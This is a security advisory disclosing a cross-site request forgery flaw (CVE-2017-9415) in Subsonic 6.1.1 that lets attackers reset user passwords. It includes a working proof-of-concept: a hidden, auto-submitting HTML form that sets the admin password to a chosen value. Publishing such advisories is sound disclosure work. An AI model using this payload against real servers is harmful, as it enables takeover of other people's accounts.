Subsonic 6.1.1 - Cross-Site Request Forgery

[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-PASSWORD-RESET-CSRF.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
=====================
CSRF - Password Reset



CVE Reference:
==============
CVE-2017-9415



Security Issue:
================
Remote attackers can reset subsonic user account passwords if an authenticated user clicks a malicious link
or visits an attacker controlled webpage. However, username must be known or guessed.




Exploit/POC:
=============
<form  action="http://localhost:4040/userSettings.view" method="POST">
<input type="hidden" name="username"  value="admin">
<input type="hidden" name="transcodeSchemeName" value="OFF">
<input name="passwordChange" type="hidden" value="true"/>
<input type="hidden" name="_passwordChange" value="on"/>
<input  name="password" type="hidden" value="xyz123"/>
<input  name="confirmPassword" type="hidden" value="xyz123"/>
<input  name="email" type="hidden" value=""/>
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx